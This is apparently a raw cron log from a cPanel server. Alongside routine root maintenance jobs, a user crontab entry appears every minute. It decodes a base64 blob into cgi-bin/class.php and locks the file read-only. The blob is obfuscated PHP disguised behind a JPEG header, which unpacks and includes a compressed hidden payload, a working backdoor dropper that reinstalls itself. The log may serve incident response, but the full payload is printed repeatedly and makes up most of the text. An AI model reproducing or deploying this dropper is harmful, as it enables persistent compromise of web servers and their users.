Aug 31 06:50:01 server CROND[4905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:50:01 server CROND[4901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:50:01 server CROND[4902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:50:01 server CROND[4906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:50:01 server CROND[4907]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:50:01 server CROND[4903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:50:01 server CROND[4904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:51:01 server CROND[5745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:51:01 server CROND[5746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:51:01 server CROND[5744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:52:02 server CROND[6213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:52:02 server CROND[6214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:52:02 server CROND[6215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:53:01 server CROND[6586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:53:01 server CROND[6587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:53:01 server CROND[6590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:54:01 server CROND[6981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:54:01 server CROND[6980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:54:01 server CROND[6982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:55:01 server CROND[7382]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:55:01 server CROND[7384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:55:01 server CROND[7383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:55:01 server CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:55:01 server CROND[7385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:55:01 server CROND[7387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:55:01 server CROND[7389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:56:01 server CROND[8223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:56:01 server CROND[8224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:56:01 server CROND[8225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:57:01 server CROND[8702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:57:01 server CROND[8701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:57:01 server CROND[8700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:57:01 server CROND[8703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:58:01 server CROND[9084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:58:01 server CROND[9085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:58:01 server CROND[9086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:59:01 server CROND[9483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:59:01 server CROND[9484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:59:01 server CROND[9485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:00:01 server CROND[9878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:00:01 server CROND[9879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:00:01 server CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:00:01 server CROND[9884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:00:01 server CROND[9887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:00:01 server CROND[9888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:00:01 server CROND[9890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:00:01 server CROND[9885]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 07:00:01 server CROND[9889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:01:01 server CROND[10729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:01:01 server CROND[10730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
